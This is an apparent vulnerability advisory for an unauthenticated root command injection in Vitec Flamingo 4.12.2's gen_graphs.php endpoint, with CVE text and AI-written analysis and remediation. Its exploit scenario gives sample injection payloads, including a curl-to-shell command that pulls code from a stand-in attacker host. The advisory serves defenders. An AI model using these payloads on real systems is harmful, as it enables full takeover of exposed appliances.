DescriptionCVE.org

Vitec Flamingo 4.12.2 contains an unauthenticated OS command injection vulnerability in the admin/ajax/gen_graphs.php endpoint that allows remote unauthenticated attackers to execute arbitrary commands by supplying shell metacharacters in the start, end, key, or format HTTP GET parameters. Attackers can exploit the lack of input sanitization in the graph generation script, which passes user-supplied values directly to shell commands via passthru(), to execute arbitrary OS commands with root privileges due to the web server context having passwordless sudo access.

AnalysisAI

Remote OS command execution in Vitec Flamingo 4.12.2 lets unauthenticated attackers run arbitrary commands as root through the admin/ajax/gen_graphs.php graph-generation endpoint. The start, end, key, and format GET parameters are passed unsanitized into a PHP passthru() shell call, and because the web server runs with passwordless sudo the impact escalates to full root compromise. …

Vulnerability AssessmentAI

Exploitation The attacker needs only network reachability to the Flamingo web interface and the ability to send an HTTP GET request to admin/ajax/gen_graphs.php with shell metacharacters in the start, end, key, or format parameters - no authentication, credentials, or user interaction are required (CVSS PR:N/UI:N/AT:N). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals align toward genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker locates an internet-reachable Flamingo admin interface and, without any credentials, issues a single HTTP GET request to admin/ajax/gen_graphs.php with a payload such as start=1;id or format=$(curl attacker.example/x|sh) in one of the injectable parameters. The passthru() call executes the injected command as root, giving the attacker immediate remote code execution and full appliance takeover. …
Remediation No vendor-released fixed version was identified at time of analysis, so upgrade guidance cannot cite an exact patch - monitor Vitec and the VulnCheck advisory (https://www.vulncheck.com/advisories/vitec-flamingo-unauthenticated-os-command-injection-via-gen-graphs-php) for a patched release and apply it as soon as available. … Detailed patch versions, workarounds, and compensating controls in full report.
